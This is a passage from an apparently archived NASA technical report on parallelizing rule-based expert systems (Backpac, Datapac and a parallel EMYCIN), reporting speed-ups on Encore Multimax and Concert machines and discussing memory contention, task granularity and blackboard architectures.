The Backpac system has also been written in C [4]. The C language is available on most parallel machines. Hence, this effort provides us a straightforward method to examine the performance of the system on different architectural platforms. The C language implementations are also, generally, faster in terms of compile and run time speed.
Briefly, we discuss some results from the Encore version. In this version the speed-ups were less than in the Lisp version for comparable knowledge bases. As the knowledge bases got larger, approximately the same speed-ups were observed as shown above. For an example, a generated knowledge base of 12,800 rules all on one level gave a speed-up of about 7 times with 9 processors. With the Fevers knowledge base using busy waits for access to working memory, we got about 6 times speed increase. These results do not include the initial overhead of copying shared information. One issue that shows up in this arena is that of memory copying and process overhead. The overhead of initially copying the shared information, such as working memory and sets of rules, is quite high. It is easier to measure than in the Lisp systems, where the initial start-up of processes and pointer structures is folded into the Lisp system initialization. However, over many runs of an expert system this overhead will become a negligible portion of each one.
3.8 Datapac
The Datapac system is a parallel hierarchical forward chaining inference system designed to maximize the inferencing speed in a multiprocessor environment by employing the
parallelisms in a full range, which includes parallelism between different rule inferences as well as parallelism within a rule inference. The hierarchical forward chaining inference system is the rule based system where the rules are arranged in hierarchy according to the precedence relationship so that each rule is examined only once for firing. Rule level parallelism allows every rule to try to start its inferencing process as soon as it satisfies the precedence conditions. Thus, control of the inference flows from the top of the rule system to the bottom. This processing system, which could be modeled (and has been run) on a multiple instruction multiple data (MIMD) machines, has been simulated by Multilisp in this research. Performance evaluations demonstrate that this hierarchical forward chaining system (Datapac) provides a significant speed increase in a simulated environment and real gains in multiprocessor environment.
The basic idea is simple and very much aimed at expert problem solving. In order to come to some conclusion, a path of reasoning will be followed. That is, some chain of inferences will occur. Datapac breaks the various rules in a knowledge base, which may participate in a reasoning chain, into levels of rules. On each level the rules are independent of one another. On higher levels the rules depend upon the inference made by lower level rules. The bottom level leads nowhere and the top-level has no conclusions of other rules in its rules' antecedent.
This scheme is clearly limited. It turns a knowledge base into a sort of decision tree. However, it does have applicability for at least some types of expert knowledge bases.
Initially, an unlimited number of processors is assumed to be available for our system. All the rules in the system are given one processor respectively and start inferencing at once. What controls the reasonable transition of inferencing is the precessor-successor relationships between processors. A rule processor won't try matching its premise to the working memory for rule firing until its every preceding rule's firing is completed.
The working memory (WMP) contains all the facts which are either initially given or derived from previous inferencing. Each currently active rule has its antecedent matched.
against working memory, if it is to be ever fired.
After a rule is fired it sends the result to its succeeding rule processors immediately, enabling them to start inferencing.
Through the testings, this hierarchical forward chaining system (Datapac) shows a considerable improvement in speedup. For example, in a rule base where 15 non-variable rules on average reside in each level, the speedup ratio of parallel run to sequential run was over 9. For a variable rule system of 100 rules, where 20 variable or constant rules on average reside in each level, the speed-up ratio was over 10.
3.9 Results from simulation
This processing system run has been simulated by CSIM Multilisp [38] for performance testing. In our simulations, it is assumed that an unlimited number of processors are available. The results are reported in terms of speed-up and the maximum number of tasks, which ran in the parallel trials. The speed-up is measured by the best sequential version versus the best parallel version. The times are divided thereby providing the reported number.
Some artificial and real domains have been applied to the system. The results show that this hierarchical forward chaining system (Datapac) can provide a considerable improvement in terms of speedup. For example, for a 90 rule set without variables (constant) where 16 rules on average are in each level, the speedup ratio of parallel run to sequential run was over 9 with a maximum of 22 processors used. For a 100 variable rule system inferencing where 20 variable or constant rules on average reside in each level, the speed-up ratio of parallel run to sequential run was over 10 with a maximum of 180 processors used. A rule base consisting of 25 variable rules gave a speed-up of about 5 times with a maximum of 30 processors.
A knowledge base which consists of 64 rules and can diagnose fevers was a real example which has been used in our system. It showed a simulated speed-up of about
11 times with a maximum of 43 processors.
3.10 Results From The Encore Multimax
The system has also been run on a 10 processor Encore Multimax in a version of Multilisp which runs on the Multimax. With a knowledge base about fevers which consists of 64 rules, the system speeded up by a factor of about 6.3 times with 9 processors. This particular knowledge base has been implemented without variables. This is consistent with our quest to determine the limits of parallelism in reasoning systems. However, a generally useful system will need the use of variables. Note, one processor is left to do system's sorts of tasks, such as run the login shell and handle ethernet traffic.
On eight processors a knowledge base of one hundred rules provides us with a speed-up of almost linear proportions (a factor of 7.3). This rule base contains variables and the variable pattern matching, which has been parallelized, makes the task granularity larger than it would otherwise be. With a twenty-five variable rule knowledge base with nine processors a speed-up of about five and a half times was observed. These knowledge bases have to do with relationships in a family. They are really based on tests of logical structure and have no real depth of knowledge in them. The 100 rule knowledge base contains 25 rules per level. The 25 rule knowledge base has five rules per level. Basically, a Model can not be a substitute for a reality. Though the results from the real machine are the easiest justification of (usefulness of) a proposed scheme, the results from the model simulation could be a better suggestion for an idealistic machine structure itself.
3.11 Summary of Datapac issues
Fundamentally, a forward chaining system is a kind of exhaustive search system and it is commonly known that parallel architectures are very effective for that kind of search system. Significant speed-up improvement in our system demonstrates that the system is
a good parallel scheme for forward chaining rule based inference systems. In this parallel inferencing scheme, the central control part becomes relatively small by distributing most of its decision to each individual rule processor. That is another indication that the system is really close to the one of the idealistic parallel processing concepts in that controls are distributed over individual processors. We see that as a knowledge base grows larger, further parallelism and speed-up are possible, almost linearly proportional to the number of independent sets of rules which means that there's no clear bottleneck with any big knowledge base (at least in the range of CSIM simulations and the inputs we used). The superiority of parallelism to the sequential execution tells about the suitability of the algorithm in parallel processing. But the superiority of our hierarchical inferencing algorithm to the random inferencing can not be overlooked. Building a robust construct for more speedy and efficient parallel logical and/or subprocesses will be one of the main breakthroughs for an upgraded parallel inferencing scheme which, with current Multilisp features, is not easily achieved [31]. We observe that the size and the structure of the knowledge base affects the performance of the system.
There is also the question of how often such a model as this may be useful. This is one of the areas for ongoing investigation.
4 Experiments with parallel Emycin
EMY is the name given to a parallel version of EMYCIN by two researchers at the Microelectronics Computer Technology Consortium [38]. It runs under Multilisp, which is a parallel version of Lisp.
There are results from simulations, which are reported in [38] and [16]. In the first case contention for memory and possibly a bus are not taken into account. In the second simulation of EMY under Common Lisp, an attempt is made to incorporate reasonable hardware contention in the results. In this work, we compare the simulation results to the actual results from running the EMY system on an Encore Multimax, which is a
bus-based architecture and the 64 processor switch-based architecture Concert machine. Further, we have made changes to the system to (hopefully) improve its performance. These results will also be presented with an analysis of the possibilities for providing any future speed-ups.
The parallelism used by Krall and McGehearty was on three levels. Each rule was applied in parallel. The hypotheses were traced in parallel. Each predicate of a premise was determined in parallel with the use of parallel and and or operators. An examination of the operation of EMYCIN shows that these are logical places for the insertion of parallel operators.
In actual operation on the machines we used, which are early versions of parallel architectures and thus have reasonably high overheads, there is some question on whether the granularity of determining predicates is large enough to justify the parallelism used. In fact in the Backpac system [20], we have found, that it is not in general. This same fact was true of EMY as is shown in the following.
Also, in other parallel systems with which we have worked, Backpac and Datapac, [19, 23] contention for memory and the bus have been observed to be problems in some cases. The hypothesis that EMY might also suffer from these problems was tested in EMY with inconclusive results.
On the Concert, all results reported here are with 23 processors available. Most of the time we were working with four megabytes of memory, although a couple of runs were done with 8 megs. There can be a difference of times based on less garbage collections. However, we were careful about filling up our garbage space and restarted the system when it began to be a problem (after multiple runs).
On the Multimax, results will be provided with the number of processors that they were obtained on. In general, it has been found that under Multilisp on the Multimax, performance is better with less than 10 processors. This apparently has to do with system tasks mixing in with user tasks and some scheduling overhead.
In initial results with EMY, and a knowledge base on fevers, it was predicted that about a 12 times speed-up would be the upper limit with 24 processors (comparable to our 23) [38]. With 8 processors the upper limit was 5.6 times [38]. In the later study EMY with the same knowledge base was shown to peak at a 9 times speed-up with 64 processors. In fact it came very close to this peak by 16 processors, although exact figures were not given [16]. The model was of a shared memory machine with a hierarchical interconnect and clustered processors (8 processors per cluster). It is somewhat like the Concert architecture, but rather different than the Multimax architecture.
Below, we just discuss on a high level the results from running parallel EMYCIN on the Concert. We have made some adjustments to the original EMY, but retained the semantics. A complete description of this work is in [25].
4.1 Results from parallel EMYCIN on the Concert
The results were lower than one would expect from 23 processors. With the fevers knowledge base a speed-up of five times was observed. In this case no and/or parallelism was used. Both the rules and hypothesis lists were broken into chunks. There were 20 rule chunks and 9 hypothesis chunks in the best case, given above. Not all possible combinations were tried, but enough to narrow down the best to within one or two chunks and the time to no more than about two tenths of a second difference. Note, that the speed-up reported belongs to the fastest parallel and sequential times over several runs.
Without using any chunking, the fevers KB provided a five times speed-up, also. Chunking was of essentially no help. If it was not done to maximize the speed with the best chunks, worse performance occurred! This was a surprise, so an investigation was made as to why it happened. It turns out that while the time to determine a hypothesis may vary by a factor of 2 it is small compared to the average rule evaluation time. This is not surprising since a hypothesis is evaluated by evaluating the appropriate premise
of a rule which has already been fired. That is all the clauses or predicates have a stored value. Rule firing times on the other hand can vary widely. By an order of magnitude in fact. If the rules are not chunked or clustered very cleverly, it is likely that several long rules will end up in the same chunk. This process will then take a long time to finish, because it has much work to do. Now the work which may be done in parallel is reduced, so while contention may be less, it is offset by the lack of parallel work (or the increase in the sequentiality of the system).
The parallel and/or code was also tried on the Concert. However, with the chunked system it significantly increased the time to determine a conclusion (by up to a factor of 2). It spawns a lot of small tasks, whose overhead costs outweigh the benefits of more parallel work.
Knowing that semaphores are expensive, we tried one scheme to minimize the necessary locking on a semaphore. If a value has already been determined, it will be in the appropriate clause. Currently, whoever wants to look at it must check a semaphore. The code was changed so that a flag could be examined instead (after the value is initially determined). Unfortunately, the constant evaluation of the extra code cost more than was saved by the skip of the semaphore. It turned out that the time was only about four to eight percent greater. Hence, it was almost a wash.
The gems knowledge base was also examined under the EMY paradigm on the Concert. Its characteristics are distinctly different than the fevers KB. It has more rules and more levels of chaining (up to 4). With gems, just as in [38], the speed-up was less than with the fevers knowledge base. It was about 2.8 times. This was with chunking of 8 rule chunks and 8 hypothesis chunks. With no chunking, the speed-up was slightly slower. The use of the parallel and/or mechanism slowed the system down slightly, also. The method of skipping a semaphore did nothing for gems, either.
The results discussed are less than the simulation would lead one to expect. However, it is possible that they may be improved.
5 Directions from parallel tests
We, initially, used a simulator [19] to develop the systems which are reported upon. This simulator did not effectively take into account memory contention and bus contention delays. This lead us to great results, which we realized were inflated, and some higher expectations. After actual experimentation, we would not place too much faith in a simulation, except for a rather general idea of possible performance. The exception would be a simulator strongly tied to a specific machine architecture and using the measured or expected delay times, and contention (bus and memory) times, etc.
Another thing we learned is that creating a parallel task wherever there is a reasonable opportunity to perform some computation in parallel is not necessarily the correct action. Consideration of the amount of processors available must be done in addition to the usual granularity considerations. Many more tasks than processors caused a scheduling slowdown that was noticeable under our paradigm for some knowledge bases. Further, even if there are processors available, more tasks will create more bus and memory access requests. If they do create significant bus and memory access requests, contention will slow the system down. This is, of course, architecture dependent. The results of bus (switch) contention were quite evident on the Concert. On the Multimax, we suspected bus contention, but could not show it. We came to conclude that it was really memory contention, caused by the fact that we could not generate copies of objects in a reasonable fashion. Certainly, separate cons cells (pointers) were no problem, but in the end they would point to the same location where contention could occur. This was again a function of our Lisp’s paradigm.
Good tools to determine what is happening in a parallel computing system are a necessity. These tools did not exist for us to measure performance under Lisp on either the Concert\(^2\) or the Multimax.
\(^2\)Actually, there were some parameter recording utilities in Multilisp. There was not documentation however and the decoding programs were targeted for a Symbolics machine to which we had no access.
6 Summary of current status
In our simplified model of a backward chained expert system, there have been some reasonable speed increases with the use of parallel processing. The limiting factors are not fully clear at this time. Certainly contention for working memory is one problem. Task granularity is another issue, but it is not unique to expert systems.
The Concert implementation of Backpac responds much better to clustering of goal rules into tasks than the Multimax implementation. On the Multimax clustering goal rules was helpful with the complicated predicates in the fevers and gems knowledge bases, but not elsewhere. Both machines use shared memory, but the architecture of the processors makes their characteristics markedly different. The current bottlenecks are contention based and better tools may help mitigate this.
The particular dialects of Lisp that we have been using have quirks of their own which have prevented some trials from being made. The lack of a way to get true copies of values and arrays has kept us from trying some methods to minimize memory contention. It has also prevented the effective partitioning of working memory to reduce contention. This would show whether it is different from bus contention in preventing exploitation of parallelism. On the Multimax the lack of a way to keep other processes (such as the ethernet controller) from mixing in with ours has had an effect in obscuring some possible exploitation of parallelism.
Datapac shows promise in increasing inferencing speed with the use of parallel processors. The main issue here is how many problems can it effectively be used to solve. It is certainly much less functional than OPS5 with Rete or some other pattern matching algorithm. However, it has less bottlenecks for parallel processing and may be used to solve a reasonable set of expert emulation (system) problems.
Our initial test with the EMYCIN system show that the speed increase from parallelism is less than simulations tend to show. It also shows that little is gained from using
and/or parallelism in general. It seems that one might be able to use it in pre-identified places, however. Naive, clustering of rules is not helpful for the rules in the example knowledge bases that we have been using. This is due to the fact that the time to fire a rule can differ by an order of magnitude.
There is a benefit to parallelizing expert systems on current architectures. For backward chained systems, there are limits to the speed increase that will be available. These limits need to be better quantified. As the architectures become better able to handle finer grained tasks and the languages evolve, parallelism should be more of a factor in improving the performance of expert/intelligent systems.
6.1 Technological issues
There are several technologic issues which affect this work. Using C in the Backpac effort comes under this category. For it allows us access to low-level parallel features such as spin locks, which haven’t been available under Multilisp. Spin locks in particular are a very useful concept for protecting working memory. A process that is writing to it will not take a large amount of time. However, the use of semaphores is time-consuming, because a process gets suspended (involving state saving) and put on a task queue waiting for an event. In this case a busy wait (which will normally be quite short) is more effective, embodying less overhead.
In addition there can be different classes of parallel tasks from full processes with all the information they embody to lightweight tasks sometimes called threads [42], which don’t have a control or binding stack of their own. These entities can allow for finer grained parallelism than a full-fledged future process. The use of such entities will better allow for at least some predicate/clause processing to be done in parallel. These features are often available in C and are available in some of the new parallel common Lisp’s such as Top Level’s, PICCL\(^3\). We will use the Common Lisp features, when a machine
\(^3\)PICCL is a trademark of the Top Level Co.
with the language on it comes available.
Knowledge-based systems may become large for a number of reasons. Among them are that the domain embodies a lot of information (often called commonsense notions), the domain is relatively broad or multiple areas of expertise are needed to solve the problem. These are not comprehensive or mutually exclusive, but they serve to introduce the final topic to be examined near the end of this proposal’s work. Blackboards [5] have proven to be effective in allowing for multiple cooperating experts. In the blackboard concept several independent knowledge sources, which are expert systems in their own right cooperate to solve a problem. Intermediate solutions, solutions to portions of a problem and modifications of proposed solutions are posted to a global data structure called a blackboard. This has lead such systems to be called blackboard systems.
There are issues such as control and how the blackboard is used that make for significant differences between blackboard systems [44]. Clearly, the independent knowledge sources may operate asynchronously, or in parallel, under some control schemes. Indeed, one of the early expert system called HEARSAY [39], a speech understanding system, used the knowledge source, blackboard paradigm. It has further been investigated [44] in parallel simulations to look at the possible benefits in speed from parallelization. Not all the results at this time are very promising, but we believe it to be a domain dependent situation.
In the context of our work, the use of blackboards would fall under the broader heading of partitioning knowledge bases. It could provide a very clean partitioning with each knowledge source having its own working memory, thus reducing contention for that. Additionally, given a good partition of the problem the granularity of the knowledge sources could be kept high. This would be an artificial use of blackboard architectures getting away from the original idea of purely cooperating experts. However, it holds out the possibility of some clear advantages. Additionally, parallelism could be used within the knowledge base in the vein of Backpac and Datapac, providing that the knowledge
sources had a large enough number of rules to warrant such activity. The investigation of the utility of blackboards for parallel expert systems would provide both a contrast and possible enhancement to the effort of parallelizing individual knowledge bases.
6.2 Summary
This work has involved the development and measurement of both goal-driven and data-driven expert system paradigms for parallel machines. Currently, we have a 64 processor Concert machine, 32 processor Butterfly machine, a 12 processor Ardent Titan (which is a collection of four networked machines in our College of Engineering) and an 8 processor Encore Multimax as available research platforms. A 16 processor Hypercube will become available in February or soon thereafter of 1990. Each of these machines runs Common Lisp, C, Multilisp or some combination of them. Promise has been shown in the use of parallelism in expert systems work. Many questions have been raised and a few of them answered.
References
|
{"Source-Url": "https://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19900005520.pdf", "len_cl100k_base": 12645, "olmocr-version": "0.1.53", "pdf-total-pages": 38, "total-fallback-pages": 0, "total-input-tokens": 70194, "total-output-tokens": 17081, "length": "2e13", "weborganizer": {"__label__adult": 0.0003674030303955078, "__label__art_design": 0.0004601478576660156, "__label__crime_law": 0.00043272972106933594, "__label__education_jobs": 0.0015668869018554688, "__label__entertainment": 0.00012362003326416016, "__label__fashion_beauty": 0.0002104043960571289, "__label__finance_business": 0.0003495216369628906, "__label__food_dining": 0.0004019737243652344, "__label__games": 0.0007491111755371094, "__label__hardware": 0.0023403167724609375, "__label__health": 0.0006308555603027344, "__label__history": 0.00044035911560058594, "__label__home_hobbies": 0.0001424551010131836, "__label__industrial": 0.0008592605590820312, "__label__literature": 0.0004773139953613281, "__label__politics": 0.000362396240234375, "__label__religion": 0.0007047653198242188, "__label__science_tech": 0.2607421875, "__label__social_life": 0.00012058019638061523, "__label__software": 0.01593017578125, "__label__software_dev": 0.71142578125, "__label__sports_fitness": 0.0002949237823486328, "__label__transportation": 0.0007486343383789062, "__label__travel": 0.0002015829086303711}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 69482, 0.04186]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 69482, 0.38144]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 69482, 0.94535]], "google_gemma-3-12b-it_contains_pii": [[0, 1266, false], [1266, 3231, null], [3231, 5207, null], [5207, 7257, null], [7257, 9463, null], [9463, 11517, null], [11517, 13106, null], [13106, 15037, null], [15037, 15037, null], [15037, 17108, null], [17108, 19143, null], [19143, 21181, null], [21181, 23439, null], [23439, 25599, null], [25599, 27454, null], [27454, 29580, null], [29580, 30819, null], [30819, 32848, null], [32848, 34518, null], [34518, 36460, null], [36460, 38754, null], [38754, 40718, null], [40718, 42666, null], [42666, 44759, null], [44759, 46805, null], [46805, 48875, null], [48875, 51006, null], [51006, 53199, null], [53199, 55262, null], [55262, 57328, null], [57328, 59539, null], [59539, 61186, null], [61186, 62654, null], [62654, 64216, null], [64216, 65672, null], [65672, 67139, null], [67139, 68605, null], [68605, 69482, null]], "google_gemma-3-12b-it_is_public_document": [[0, 1266, true], [1266, 3231, null], [3231, 5207, null], [5207, 7257, null], [7257, 9463, null], [9463, 11517, null], [11517, 13106, null], [13106, 15037, null], [15037, 15037, null], [15037, 17108, null], [17108, 19143, null], [19143, 21181, null], [21181, 23439, null], [23439, 25599, null], [25599, 27454, null], [27454, 29580, null], [29580, 30819, null], [30819, 32848, null], [32848, 34518, null], [34518, 36460, null], [36460, 38754, null], [38754, 40718, null], [40718, 42666, null], [42666, 44759, null], [44759, 46805, null], [46805, 48875, null], [48875, 51006, null], [51006, 53199, null], [53199, 55262, null], [55262, 57328, null], [57328, 59539, null], [59539, 61186, null], [61186, 62654, null], [62654, 64216, null], [64216, 65672, null], [65672, 67139, null], [67139, 68605, null], [68605, 69482, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 69482, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 69482, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 69482, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 69482, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 69482, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 69482, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 69482, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 69482, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 69482, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 69482, null]], "pdf_page_numbers": [[0, 1266, 1], [1266, 3231, 2], [3231, 5207, 3], [5207, 7257, 4], [7257, 9463, 5], [9463, 11517, 6], [11517, 13106, 7], [13106, 15037, 8], [15037, 15037, 9], [15037, 17108, 10], [17108, 19143, 11], [19143, 21181, 12], [21181, 23439, 13], [23439, 25599, 14], [25599, 27454, 15], [27454, 29580, 16], [29580, 30819, 17], [30819, 32848, 18], [32848, 34518, 19], [34518, 36460, 20], [36460, 38754, 21], [38754, 40718, 22], [40718, 42666, 23], [42666, 44759, 24], [44759, 46805, 25], [46805, 48875, 26], [48875, 51006, 27], [51006, 53199, 28], [53199, 55262, 29], [55262, 57328, 30], [57328, 59539, 31], [59539, 61186, 32], [61186, 62654, 33], [62654, 64216, 34], [64216, 65672, 35], [65672, 67139, 36], [67139, 68605, 37], [68605, 69482, 38]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 69482, 0.15414]]}
|
olmocr_science_pdfs
|
2024-12-11
|
2024-12-11
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.